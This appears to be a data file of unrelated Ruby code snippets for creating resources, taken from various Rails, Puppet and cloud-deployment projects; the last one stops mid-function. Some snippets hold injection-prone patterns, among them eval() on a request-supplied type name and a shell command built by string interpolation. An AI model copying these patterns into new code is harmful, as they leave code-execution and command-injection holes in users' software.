"def install_resources\n FileUtils.rm_rf(resources_dir)\n FileUtils.mkdir_p(resources_dir)\n resources.each { |file| install_resource(file, resources_dir) }\n end", "def create_resource(new_resource, attributes)\n new_resource.attributes = attributes\n new_resource.save\n new_resource\n end", "def create\n\t\t@course = Course.find_by_id(params[:course_id])\n\t\tunless params[:course].nil?\n\t\t\tparams[:course][:resources_attributes].each do |f|\n\t\t\t\tlink_body = f[1][:link]\n\t\t\t\tunless link_body.nil?\n\t\t\t\t\tif link_body.empty?\n\t\t\t\t\t\tResource.find(f[1][:id]).destroy\n\t\t\t\t\telse\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tpage = MetaInspector.new(link_body,\n\t\t\t\t\t\t\t\t:allow_redirections => :all, :timeout => 50)\n\t\t\t\t\t\t\ttype = page.content_type\n\t\t\t\t\t\t\turl = page.url.chomp(\"\\/\")\n\t\t\t\t\t\t\ttitle = page.meta_og_title || page.title\n\t\t\t\t\t\t\tdescription = (type.eql? \"application/pdf\") ? nil : page.description\n\t\t\t\t\t\t\timages = page.images.slice!(0,8)\n\t\t\t\t\t\t\timages.insert(0,page.image) unless page.image.blank?\n\t\t\t\t\t\t\tresource = { link: url, description: description,\n\t\t\t\t\t\t\t\timg: images.first, link_type: type }\n\t\t\t\t\t\trescue\n\t\t\t\t\t\t\tflash[:notice] =\n\t\t\t\t\t\t\t\t\"link #{link_body} is not valid or check your internet connection!!\"\n\t\t\t\t\t\t\tresource = nil\n\t\t\t\t\t\tend\n\t\t\t\t\t\tunless resource.nil?\n\t\t\t\t\t\t\t@resource = Resource.find_by(id: f[1][:id],\n\t\t\t\t\t\t\t\tcourse_id: @course.id)\n\t\t\t\t\t\t\tif @resource.nil?\n\t\t\t\t\t\t\t\t@resource = Resource.new(resource)\n\t\t\t\t\t\t\t\t@resource.remote_img_url = resource[:img]\n\t\t\t\t\t\t\t\t@course.resources << @resource\n\t\t\t\t\t\t\t\tcurrent_lecturer.resources << @resource\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tunless resource[:link].eql? @resource.link\n\t\t\t\t\t\t\t\t\t@resource.update_attributes(resource)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\trender action: :index\n\tend", "def manipulate_resource_list(resources)\n resources + options[:targets].map do |t|\n StaticResource.new(\n app.sitemap,\n t[:output]\n ) { \n File.read(File.expand_path(tmp_path(t), app.root))\n }\n end\n end", "def create\n uploaded_io = params[:file]\n if !uploaded_io.blank?\n extension = uploaded_io.original_filename.split('.')\n filename = \"#{Time.now.strftime('%Y%m%d%H%M%S')}.#{extension[-1]}\"\n filepath = \"#{PIC_PATH}/teachResources/#{filename}\"\n File.open(filepath, 'wb') do |file|\n file.write(uploaded_io.read)\n end\n params[:lab_teach_resource].merge!(:file=>\"/teachResources/#{filename}\")\n end\n params[:lab_teach_resource].merge!(:author_id=>@user.id)\n params[:lab_teach_resource].merge!(:status=>'0')\n @lab_teach_resource = LabTeachResource.new(params[:lab_teach_resource])\n\n respond_to do |format|\n if @lab_teach_resource.save\n format.html { redirect_to @lab_teach_resource, notice: 'Lab teach resource was successfully created.' }\n format.json { render json: @lab_teach_resource, status: :created, location: @lab_teach_resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lab_teach_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_resource object\n object.save\n end", "def create\n create_directories\n end", "def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to(edit_admin_resource_path(@resource), :notice => 'Resource was successfully created. Now select association permissions and resource owner.') }\n format.xml { render :xml => @resource, :status => :created, :location => @resource }\n else\n @resource_groups = ResourceGroup.alphabetical.all\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end", "def run\n @loader.retrieve_and_store\n resource = @loader.resource\n\n output = []\n if resource.valid?\n output << \"Created #{resource.name}\"\n else\n output << \"Couldn't create #{resource.name} for the following reasons:\"\n resource.errors.full_messages.each do |error|\n output << \" * #{error}\"\n end\n end\n output.join(\"\\n\")\n end", "def createResources(services, mode=\"create\")\n\t\t\treturn if services.nil?\n\n\t\t\tparent_thread_id = Thread.current.object_id\n\t\t services.each do |service|\n\t\t @my_threads << Thread.new(service) { |myservice|\n\t\t\t\t\tMU.dupGlobals(parent_thread_id)\n\t\t\t\t\tthreadname = service[\"#MU_CLASS\"].name+\"_\"+myservice[\"name\"]+\"_#{mode}\"\n\t\t Thread.current.thread_variable_set(\"name\", threadname)\n\t\t Thread.abort_on_exception = true\n\t\t\t\t\twaitOnThreadDependencies(threadname)\n\n\t\t\t\t\tif service[\"#MU_CLASS\"].instance_methods(false).include?(:deploy)\n\t\t\t\t\t\tif mode == \"create\"\n\t\t\t\t\t\t\tMU::MommaCat.lock(service[\"#MU_CLASS\"].name+\"_\"+myservice[\"name\"]+\"-dependencies\")\n\t\t\t\t\t\telsif mode == \"deploy\"\n\t\t\t\t\t\t\tMU::MommaCat.unlock(service[\"#MU_CLASS\"].name+\"_\"+myservice[\"name\"]+\"-dependencies\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tMU.log \"Launching thread #{threadname}\", MU::DEBUG\n\t\t\t\t\tbegin\n\t\t\t\t\t\tif service['#MUOBJECT'].nil?\n\t\t\t\t\t\t\tservice['#MUOBJECT'] = service[\"#MU_CLASS\"].new(self, myservice)\n\t\t\t\t\t\tend\n\t\t\t\t\t\trun_this_method = service['#MUOBJECT'].method(mode)\n\t\t\t\t\trescue Exception => e\n\t\t\t\t\t\tMU.log \"Error invoking #{service[\"#MU_CLASS\"]}.#{mode} for #{myservice['name']} (#{e.message})\", MU::ERR\n\t\t\t\t\t\tMU::MommaCat.unlockAll\n\t\t\t\t\t\traise e\n\t\t\t\t\tend\n\t\t\t\t\tbegin\n\t\t\t\t\t\tMU.log \"Running #{service['#MUOBJECT']}.#{mode}\", MU::DEBUG\n\t\t\t\t\t\tmyservice = run_this_method.call\n\t\t\t\t\trescue Exception => e\n\t\t\t\t\t\tMU.log e.inspect, MU::ERR, details: e.backtrace\n\t\t\t\t\t\tMU::MommaCat.unlockAll\n\t\t\t\t\t\t@my_threads.each do |t|\n\t\t\t\t\t\t\tif t.object_id != Thread.current.object_id and t.thread_variable_get(\"name\") != \"main_thread\"\n\t\t\t\t\t\t t.kill\n\t\t\t\t\t\t\tend\n\t\t\t\t\t end\n\t\t\t\t\t\tif !@nocleanup\n\t\t\t\t\t\t\tMU::Cleanup.run(MU.mu_id, true, false, true)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tMU.log e.inspect, MU::ERR\n\t\t\t\t\t\texit 1\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t end\n\t\tend", "def create_resource(resource_descr, type_to_create, authorizer)\n debug \"central create_resource: resource '#{resource_descr.inspect}' type: '#{resource_type}'\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end", "def resources\n @resources ||= {}\n end", "def init\n file = Google::StringUtils.underscore(@resource_name || @name)\n\n @recipes = setup_hash(@recipes)\n @recipes['create'] = \"tests~#{file}\" unless @recipes['create']\n @recipes['delete'] = \"tests~delete_#{file}\" unless @recipes['delete']\n\n @resources = setup_hash(@resource_count)\n @resources['create'] = DEFAULT_RESOURCE_COUNT unless @resources['create']\n @resources['delete'] = DEFAULT_RESOURCE_COUNT unless @resources['delete']\n\n @affected = setup_hash(@affected_count)\n unless @affected['create']\n @affected['create'] =\n DEFAULT_RESOURCE_COUNT - 1\n end\n\n return if @affected['delete']\n @affected['delete'] = DEFAULT_RESOURCE_COUNT - 1\n end", "def create_new_resource(resource_descr, type_to_create, authorizer)\n debug \"create_new_resource: resource_descr: #{resource_descr}, type_to_create: #{type_to_create}\"\n\n # New resource creation method, pass through the model\n begin\n model_obj = eval(\"OMF::SFA::Model::#{type_to_create}\")\n if model_obj.respond_to?(:handle_rest_resource_creation)\n resource = model_obj.handle_rest_resource_creation(resource_descr, authorizer, get_scheduler)\n return resource\n end\n rescue => ex\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Problem to create the resource. Reason: #{ex.reason}\"\n end\n\n debug \"Resource '#{type_to_create}' doesn't have the handle_rest_resource_creation method, proceeding with the default creation proccess...\"\n\n authorizer.can_create_resource?(resource_descr, type_to_create)\n resource = nil\n if resource_descr.kind_of? Array\n descr = []\n resource_descr.each do |res|\n res_descr = {}\n res_descr.merge!({uuid: res[:uuid]}) if res.has_key?(:uuid)\n res_descr.merge!({name: res[:name]}) if res.has_key?(:name)\n descr << res_descr unless eval(\"OMF::SFA::Model::#{type_to_create}\").first(res_descr)\n end\n raise OMF::SFA::AM::Rest::BadRequestException.new \"No resources described in description #{resource_descr} is valid. Maybe all the resources alreadt=y exist.\" if descr.empty?\n elsif resource_descr.kind_of? Hash\n descr = {}\n descr.merge!({uuid: resource_descr[:uuid]}) if resource_descr.has_key?(:uuid)\n descr.merge!({name: resource_descr[:name]}) if resource_descr.has_key?(:name)\n descr.merge!({urn: resource_descr[:urn]}) if resource_descr.has_key?(:urn)\n\n if descr.empty?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource description is '#{resource_descr}'.\"\n else\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource with descr '#{descr} already exists'.\" if eval(\"OMF::SFA::Model::#{type_to_create}\").first(descr)\n end\n end\n\n if resource_descr.kind_of? Array\n resource = []\n resource_descr.each do |res_desc|\n resource << eval(\"OMF::SFA::Model::#{type_to_create}\").create(res_desc)\n manage_resource(resource.last) if resource.last.account.nil?\n if type_to_create == 'Account'\n @liaison.create_account(resource.last)\n end\n end\n elsif resource_descr.kind_of? Hash\n begin\n resource = eval(\"OMF::SFA::Model::#{type_to_create}\").create(resource_descr)\n rescue => ex\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource description is invalid: #{ex.to_s}\"\n end\n manage_resource(resource) if resource.class.can_be_managed?\n if type_to_create == 'Account'\n @liaison.create_account(resource)\n end\n end\n resource\n end", "def create(resource_name)\n if ! advance? then return self end\n @@logger.debug \"Launching resource: #{resource_name}.\"\n resource = @resourcer.get resource_name\n deps = @resourcer.get_dep(resource_name)\n deps.each {|ref| create(ref)}\n created = @mutator.create(resource_name, resource)\n created.harp_script = @harp_script\n result = {:create => resource_name}\n args = {:action => :create}\n if created.output? (args)\n result[:output] = created.make_output_token(args)\n result[:line] = @current_line\n end\n @events.push(result)\n created.save\n return self\n end", "def create\n @resource = current_admin.resources.new(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render action: 'show', status: :created, location: @resource }\n else\n format.html { render action: 'new' }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def resources; end", "def resources; end", "def setup_resources\n if params[:metadata_ingest_form]\n template_name = params[:metadata_ingest_form].delete(:template_name)\n end\n\n defaults = {\n :asset_map => asset_map,\n :template_map => template_map,\n :asset_class => asset_class,\n }\n @form = OregonDigital::Metadata::TemplateFormContainer.new(params.merge(defaults))\n @form.asset.title = template_name if template_name\n end", "def createResources(services, mode=\"create\")\n return if services.nil?\n\n parent_thread_id = Thread.current.object_id\n services.uniq!\n services.each do |service|\n begin\n @my_threads << Thread.new(service) { |myservice|\n MU.dupGlobals(parent_thread_id)\n threadname = myservice[\"#MU_CLOUDCLASS\"].cfg_name+\"_\"+myservice[\"name\"]+\"_#{mode}\"\n Thread.current.thread_variable_set(\"name\", threadname)\n Thread.current.thread_variable_set(\"owned_by_mu\", true)\n# Thread.abort_on_exception = false\n waitOnThreadDependencies(threadname)\n\n if myservice[\"#MU_CLOUDCLASS\"].instance_methods(false).include?(:groom) and !myservice['dependencies'].nil? and !myservice['dependencies'].size == 0\n if mode == \"create\"\n MU::MommaCat.lock(myservice[\"#MU_CLOUDCLASS\"].cfg_name+\"_\"+myservice[\"name\"]+\"-dependencies\")\n elsif mode == \"groom\"\n MU::MommaCat.unlock(myservice[\"#MU_CLOUDCLASS\"].cfg_name+\"_\"+myservice[\"name\"]+\"-dependencies\")\n end\n end\n\n MU.log \"Launching thread #{threadname}\", MU::DEBUG\n begin\n if myservice['#MUOBJECT'].nil?\n if @mommacat\n ext_obj = @mommacat.findLitterMate(type: myservice[\"#MU_CLOUDCLASS\"].cfg_plural, name: myservice['name'], credentials: myservice['credentials'], created_only: true, return_all: false, ignore_missing: !@updating)\n if @updating and ext_obj\n ext_obj.config!(myservice)\n end\n myservice['#MUOBJECT'] = ext_obj\n end\n myservice['#MUOBJECT'] ||= myservice[\"#MU_CLOUDCLASS\"].new(mommacat: @mommacat, kitten_cfg: myservice, delayed_save: @updating)\n end\n rescue RuntimeError => e\n # cloud implementations can iterate over these same hashes,\n # which can throw this if we catch them at the wrong moment.\n # here's your hacky workaround.\n if e.message.match(/can't add a new key into hash during iteration/)\n MU.log e.message+\" in main deploy thread, probably transient\", MU::DEBUG\n sleep 1\n retry\n else\n raise e\n end\n rescue StandardError => e\n MU::MommaCat.unlockAll\n @main_thread.raise MuError, \"Error instantiating object from #{myservice[\"#MU_CLOUDCLASS\"]} (#{e.inspect})\", e.backtrace\n raise e\n end\n begin\n run_this_method = myservice['#MUOBJECT'].method(mode)\n rescue StandardError => e\n MU::MommaCat.unlockAll\n @main_thread.raise MuError, \"Error invoking #{myservice[\"#MUOBJECT\"].class.name}.#{mode} for #{myservice['name']} (#{e.inspect})\", e.backtrace\n return\n# raise e\n end\n begin\n MU.log \"Checking whether to run #{myservice['#MUOBJECT']}.#{mode} (updating: #{@updating})\", MU::DEBUG\n if !@updating or mode != \"create\"\n myservice = run_this_method.call\n else\n # XXX experimental create behavior for --liveupdate flag, only works on a couple of resource types. Inserting new resources into an old deploy is tricky.\n opts = {}\n if myservice[\"#MU_CLOUDCLASS\"].cfg_name == \"loadbalancer\"\n opts['classic'] = myservice['classic'] ? true : false\n end\n\n found = MU::MommaCat.findStray(myservice['cloud'],\n myservice[\"#MU_CLOUDCLASS\"].cfg_name,\n name: myservice['name'],\n credentials: myservice['credentials'],\n region: myservice['region'],\n deploy_id: @mommacat.deploy_id,\n# allow_multi: myservice[\"#MU_CLOUDCLASS\"].has_multiple,\n tag_key: \"MU-ID\",\n tag_value: @mommacat.deploy_id,\n flags: opts,\n dummy_ok: false\n )\n\n found = found.delete_if { |x|\n failed = (x.cloud_id.nil? and x.cloudobj.cloud_id.nil?)\n if !failed\n begin\n failed = true if !x.cloud_desc\n rescue StandardError\n failed = true\n end\n end\n failed\n }\n\n if found.size == 0\n MU.log \"#{myservice[\"#MU_CLOUDCLASS\"].name} #{myservice['name']} not found, creating\", MU::NOTICE\n myservice = run_this_method.call\n else\n real_descriptor = @mommacat.findLitterMate(type: myservice[\"#MU_CLOUDCLASS\"].cfg_name, name: myservice['name'], created_only: true)\n\n if !real_descriptor\n MU.log \"Invoking #{run_this_method.to_s} #{myservice['name']} #{myservice['name']}\", MU::NOTICE\n myservice = run_this_method.call\n end\n#MU.log \"#{myservice[\"#MU_CLOUDCLASS\"].cfg_name} #{myservice['name']}\", MU::NOTICE\n end\n\n end\n rescue ThreadError => e\n MU.log \"Waiting for threads to complete (#{e.message})\", MU::NOTICE\n @my_threads.each do |thr|\n next if thr.object_id == Thread.current.object_id\n thr.join(0.1)\n end\n @my_threads.reject! { |thr| !thr.alive? }\n sleep 10+Random.rand(20)\n retry\n rescue StandardError => e\n MU.log e.inspect, MU::ERR, details: e.backtrace if @verbosity != MU::Logger::SILENT\n MU::MommaCat.unlockAll\n Thread.list.each do |t|\n if t.object_id != Thread.current.object_id and t.thread_variable_get(\"name\") != \"main_thread\" and t.object_id != parent_thread_id and t.thread_variable_get(\"owned_by_mu\")\n t.kill\n end\n end\n if !@nocleanup\n MU::Cleanup.run(MU.deploy_id, verbosity: @verbosity, skipsnapshots: true)\n @nocleanup = true # so we don't run this again later\n end\n @main_thread.raise MuError, e.message, e.backtrace\n end\n MU.purgeGlobals\n }\n rescue ThreadError => e\n MU.log \"Waiting for threads to complete (#{e.message})\", MU::NOTICE\n @my_threads.each do |thr|\n next if thr.object_id == Thread.current.object_id\n thr.join(0.1)\n end\n @my_threads.reject! { |thr| !thr.alive? }\n sleep 10+Random.rand(20)\n retry\n end\n\n end\n\n end", "def test_create_all()\n tmp_path = Dir.tmpdir()\n\n input = {\n :ruby => {\n :path => \"#{tmp_path}/ruby\",\n :executables => \"./bin\",\n },\n :python => {\n :path => \"#{tmp_path}/python\",\n },\n :java => {\n :path => \"#{tmp_path}/java\",\n :executables => [\"./obj\", \"./lib\"],\n },\n }\n programs = Factory.create_all(input)\n\n assert_equal(3, programs.size())\n\n program0 = programs[:ruby]\n assert_equal(\"ruby\", program0.name)\n assert_equal(\"#{tmp_path}/ruby\", program0.path)\n assert_equal([\"./bin\"], program0.executables)\n\n program1 = programs[:python]\n assert_equal(\"python\", program1.name)\n assert_equal(\"#{tmp_path}/python\", program1.path)\n assert_equal([\".\"], program1.executables)\n\n program2 = programs[:java]\n assert_equal(\"java\", program2.name)\n assert_equal(\"#{tmp_path}/java\", program2.path)\n assert_equal([\"./obj\", \"./lib\"], program2.executables)\n end", "def create_resource(type, name, attributes=[])\n result = Simp::Cli::Utils::show_wait_spinner {\n # puppet command won't necessarily exit with a non-0 exit code upon\n # failure, but will definitely return the status of the resource on\n # success\n cmd_succeeded = true\n cmd = \"puppet resource #{type} #{name} ensure=present #{attributes.join(' ')} --to_yaml\"\n result = run_command(cmd)\n if result[:stdout].match(/ensure:\\s+present/)\n info(\"Created #{type} '#{name}'\")\n else\n err_msg = \"Unable to create #{type} '#{name}'\"\n # if command failed but returned 0, error messages not already logged\n err_msg += \":\\n#{result[:stderr]}\" if result[:status]\n error(err_msg)\n cmd_succeeded = false\n end\n cmd_succeeded\n }\n\n result\n end", "def create_resource(object)\n object.save\n end", "def create_resource(kind, data, body, pr)\n\n if body.size > 0\n result = parse_json(body,kind)\n data = result if !OpenNebula.is_error?(result)\n end\n\n resource = case kind\n when \"vdc\" then\n vdc_data = Hash.new\n data.each{|key,value|\n vdc_data[key.downcase.to_sym]=value if key!=\"pool\"\n }\n\n mandatory_params = [:vdcadminname, :vdcadminpass,\n :zoneid, :name, :hosts]\n\n mandatory_params.each { |param|\n if !vdc_data[param]\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. \" +\n \"Mandatory attribute '#{param}' is missing.\").to_json]\n end\n }\n\n # Check if the referenced zone exists\n zone=OZones::Zones.get(vdc_data[:zoneid])\n if !zone\n error = OZones::Error.new(\"Error: Zone \" +\n \"#{vdc_data[:zoneid]} not found, cannot create Vdc.\")\n return [404, error.to_json]\n end\n\n if (!defined? vdc_data[:force] or\n (defined? vdc_data[:force] and vdc_data[:force]!=\"yes\")) and\n !host_uniqueness?(zone, vdc_data[:hosts])\n return [403, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. \" +\n \"One or several hosts belong to a different VDC \"+\n \"and no force option was provided.\").to_json]\n end\n\n vdcadminname = vdc_data[:vdcadminname]\n vdcadminpass = vdc_data[:vdcadminpass]\n vdc_data.delete(:zoneid)\n vdc_data.delete(:vdcadminpass)\n vdc_data.delete(:force)\n\n begin\n vdc = OZones::Vdc.create(vdc_data)\n rescue Exception => e\n msg = e.message\n msg[\"accessible in OZones::Vdc\"] = \"supported.\"\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}.\" +\n \" #{msg}\").to_json]\n end\n\n zone.vdcs << vdc\n zone.save\n\n if zone.saved? and vdc.saved?\n vdcadminpass = Digest::SHA1.hexdigest(vdcadminpass)\n rc = @ocaInt.create_vdc_in_zone(zone,\n vdc,\n vdcadminname,\n vdcadminpass)\n if OpenNebula.is_error?(rc)\n vdc.destroy\n return [400, OZones::Error.new(\n \"Error: Couldn't create #{kind}. Reason: \" +\n rc.message).to_json]\n else\n vdc.acls = rc[0]\n vdc.group_id = rc[1]\n vdc.save\n\n pr.update # Rewrite proxy conf file\n return [200, vdc.to_json]\n end\n else\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}.\" +\n \" Maybe duplicated name?\").to_json]\n end\n\n when \"zone\" then\n zone_data=Hash.new\n data.each{|key,value|\n zone_data[key.downcase.to_sym]=value if key!=\"pool\"\n }\n\n mandatory_params = [:onename, :onepass, :endpoint, :name]\n\n mandatory_params.each { |param|\n if !zone_data[param]\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. \" +\n \"Mandatory attribute '#{param}' is missing.\").to_json]\n end\n }\n\n # Digest and check credentials\n zone_data[:onepass] =\n Digest::SHA1.hexdigest(zone_data[:onepass])\n\n rc = @ocaInt.check_oneadmin(zone_data[:onename],\n zone_data[:onepass],\n zone_data[:endpoint])\n\n if OpenNebula.is_error?(rc)\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. Reason: \"+\n rc.message).to_json]\n end\n\n # Create the zone\n zone = OZones::Zones.create(zone_data)\n rc = zone.save\n\n if rc\n pr.update # Rewrite proxy conf file\n return [200, zone.to_json]\n else\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind.upcase}.\" +\n \" Maybe duplicated name?\").to_json]\n end\n else\n error = OZones::Error.new(\n \"Error: #{kind.upcase} resource not supported\")\n return [404, error.to_json]\n end\n end", "def create(resources)\n resources.each do |resource|\n model = resource.model\n identity_field = model.identity_field\n attributes = resource.dirty_attributes\n\n properties = []\n bind_values = []\n\n # make the order of the properties consistent\n model.properties(name).each do |property|\n next unless attributes.key?(property)\n\n bind_value = attributes[property]\n\n next if property.eql?(identity_field) && bind_value.nil?\n\n properties << property\n bind_values << bind_value\n end\n\n statement = insert_statement(model, properties, identity_field)\n result = execute(statement, *bind_values)\n\n if result.to_i == 1\n if identity_field\n identity_field.set!(resource, result.insert_id)\n end\n end\n end\n end", "def create\n file = Tempfile.new(\"onetemplate-#{resource[:name]}\")\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TEMPLATE do\n xml.NAME resource[:name]\n xml.MEMORY resource[:memory]\n xml.CPU resource[:cpu]\n xml.VCPU resource[:vcpu]\n xml.DESCRIPTION do\n resource[:description]\n end if resource[:description]\n xml.OS do\n resource[:os].each do |k, v|\n xml.send(k.upcase, v)\n end\n end if resource[:os]\n resource[:disks].each do |disk|\n xml.DISK do\n disk.each do |k, v|\n xml.send(k.upcase, v)\n end\n end\n end if resource[:disks]\n resource[:nics].each do |nic|\n xml.NIC do\n nic.each do |k, v|\n xml.send(k.upcase, v)\n end\n end\n end if resource[:nics]\n xml.GRAPHICS do\n resource[:graphics].each do |k, v|\n xml.send(k.upcase, v)\n end\n end if resource[:graphics]\n xml.FEATURES do\n resource[:features].each do |k, v|\n xml.send(k.upcase, v)\n end\n end if resource[:features]\n xml.CONTEXT do\n resource[:context].each do |k, v|\n xml.send(k.upcase, v)\n end\n end if resource[:context]\n end\n end\n tempfile = builder.to_xml\n file.write(tempfile)\n file.close\n self.debug \"Creating template using #{tempfile}\"\n onetemplate('create', file.path)\n file.delete\n @property_hash[:ensure] = :present\n end", "def create_resource(env)\n env[:ui].info(\"Creating machine\")\n\n config = env[:machine].provider_config\n vra = env[:vra]\n\n EntitledItemsCollection.fetch(env[:vra])\n .find_by_id(config.catalog_item_id)\n .request(cpus: config.cpus,\n memory: config.memory,\n requested_for: config.requested_for,\n subtenant_id: config.subtenant_id,\n lease_days: config.lease_days) { |req|\n config.extra_entries.types.each do |type|\n config.extra_entries.of_type(type).each do |k,v|\n req.set_parameter(k, type, v)\n end\n end\n }\n .join\n .machine\n end", "def initialize_generate\n super\n add_accessors\n @flavor.class.do_declare_resources do\n templates_if_missing << 'metadata.rb'\n templates_if_missing << 'README.md'\n templates_if_missing << 'CHANGELOG.md'\n end\n declare_gemfile\n declare_berksfile\n declare_rakefile\n declare_chefignore_patterns\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def generate_resources\n [\n {\n :name => \"Weather Uppsala 1\",\n :description => \"Sensor which measures the weather in different places from Uppsala\",\n :manufacturer => \"Ericsson\",\n :model => \"ee80\",\n # :make => \"2\",\n # :serial_num => \"1234-ABCD-987\",\n # :polling_freq => \"60\",\n # :data_overview => \"data data data\",\n # :location => \"Uppsala, Sweden\",\n # :uri => \"http =>//sensors.ericsson.se\",\n :tags => \"temperature, weather, humidity, ericsson\",\n :resource_type => \"sensor\",\n :active => \"true\",\n :user_id => @cid\n },\n\n {\n :name => \"Weather Uppsala 2\",\n :description => \"Sensor which measures the weather in Uppsala\",\n :manufacturer => \"Ericsson\",\n :model => \"ef90\",\n # :make => \"2\",\n # :serial_num => \"5678-ABCD-987\",\n # :polling_freq => \"60\",\n # :resource_type => \"sensor\",\n # :data_overview => \"data data data\",\n # :location => \"Uppsala, Sweden\",\n # :uri => \"http =>//sensors.ericsson.se\",\n :tags => \"temperature, weather, humidity, ericsson\",\n :resource_type => \"sensor\",\n :active => \"true\",\n :user_id => @cid\n },\n\n {\n :name => \"Siemens si5\",\n :description => \"Sensor which measures the pollution\",\n :manufacturer => \"Siemens\",\n :model => \"s7\",\n # :make => \"1\",\n # :serial_num => \"1679-FGD-987\",\n # :polling_freq => \"60\",\n # :resource_type => \"sensor\",\n # :data_overview => \"data data data\",\n # :location => \"Stockholm, Sweden\",\n # :uri => \"http =>//sensors.siemens.se\",\n :tags => \"pollution, air, siemens\",\n :resource_type => \"sensor\",\n :active => \"true\",\n :user_id => @cid\n }\n ]\nend", "def resources\n resources = []\n\n default_storage = {\n 'swift_zone' => 100,\n 'object_port'=>6000,\n 'container_port'=>6001,\n 'account_port'=>6002,\n 'mountpoints'=> \"1 1\\n2 1\",\n 'weight'=> 100,\n 'types'=>['container', 'object', 'account'],\n }\n\n self[:storages].each do |storage|\n merged_storage = default_storage.merge(storage)\n merged_storage['types'].collect do |type|\n port = merged_storage[\"#{type}_port\"]\n options = {\n :name=>\"#{merged_storage['storage_address']}:#{port}\",\n :mountpoints=>merged_storage['mountpoints'],\n :zone => merged_storage['swift_zone']\n }\n resources += [Puppet::Type.type(\"ring_#{type}_device\".to_sym).new(options)]\n end\n end\n resources\n end", "def create(*args)\n raise NotImplementedError, 'Implement a method to create the resource.'\n end", "def action_create\n if @current_resource.exist? && !access_controls.requires_changes?\n Chef::Log.debug \"#{r.path} already exists - nothing to do\"\n\n elsif @current_resource.exist? && access_controls.requires_changes?\n converge_by(access_controls.describe_changes) do\n access_controls.set_all\n end\n r.updated_by_last_action(true)\n\n else\n converge_by \"Download #{r.path}\" do\n backup unless ::File.symlink?(r.path)\n do_download\n end\n do_acl_changes\n load_resource_attributes_from_file(r)\n r.updated_by_last_action(true)\n load_new_resource_state\n r.exist = true\n end\n end", "def create(*uris); end", "def resource_all(stack)\n request(\n :path => \"global/deployments/#{stack.name}/resources\"\n ).fetch('body', 'resources', []).map do |resource|\n Stack::Resource.new(stack,\n :id => resource[:id],\n :type => resource[:type],\n :name => resource[:name],\n :logical_id => resource[:name],\n :created => Time.parse(resource[:insertTime]),\n :updated => resource[:updateTime] ? Time.parse(resource[:updateTime]) : nil,\n :state => :create_complete,\n :status => 'OK',\n :status_reason => resource.fetch(:warnings, []).map{|w| w[:message]}.join(' ')\n ).valid_state\n end\n end", "def create_new_resource(resource_descr, type_to_create, authorizer)\n debug \"create_new_resource: resource_descr: #{resource_descr}, type_to_create: #{type_to_create}\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end", "def create(attributes = {})\n build(attributes).tap { |resource| resource.save }\n end", "def create(context)\n context.request.body.rewind # in case someone already read it\n begin\n data = JSON.parse(context.request.body.read)\n rescue JSON::ParserError\n context.halt(406, { status: 'error', message: 'Not acceptable JSON payload' }.to_json)\n end\n\n permitted_params = resource_fields.map { |k| k[:name] }\n permitted_params = data.select { |k, _| permitted_params.include?(k) }\n\n begin\n instance_variable_set(:\"@#{resource_name}\", resource_name.classify.constantize.new(permitted_params))\n\n if instance_variable_get(:\"@#{resource_name}\").save\n instance_variable_get(:\"@#{resource_name}\").to_json\n else\n errors = instance_variable_get(:\"@#{resource_name}\").errors.map { |k, v| \"#{k}: #{v}\" }.join('; ')\n context.halt(406, { status: 'error', message: errors }.to_json)\n end\n rescue StandardError => e\n context.halt(500, { status: 'error', message: e.message }.to_json)\n end\n end", "def setup\n # Create a standard project (30 days)\n @Project1 = Project.new(Date.new(2000, 1, 1), Date.new(2000, 1, 10))\n # Create a standard calendar (30 days, 1 hour per day)\n @Calendar1 = {}\n 10.times do |iIdx|\n @Calendar1[Date.new(2000, 1, iIdx+1)] = 1\n end\n # Create standard resources\n @Resource1 = Resource.new('R1', @Calendar1)\n end", "def resource( rsrcobj, options={} )\n\t\t\tself.log.debug \"Adding REST resource for %p\" % [ rsrcobj ]\n\t\t\toptions = self.service_options.merge( options )\n\t\t\tself.log.warn \"Options = %p\" % [ options ]\n\n\t\t\t# Add a parameter for the primary key\n\t\t\tpkey = rsrcobj.primary_key\n\t\t\tpkey_schema = rsrcobj.db_schema[ pkey.to_sym ] or\n\t\t\t\traise ArgumentError,\n\t\t\t\t\t\"cannot generate services for %p: resource has no schema\" % [ rsrcobj ]\n\t\t\tself.param( pkey, pkey_schema[:type] ) 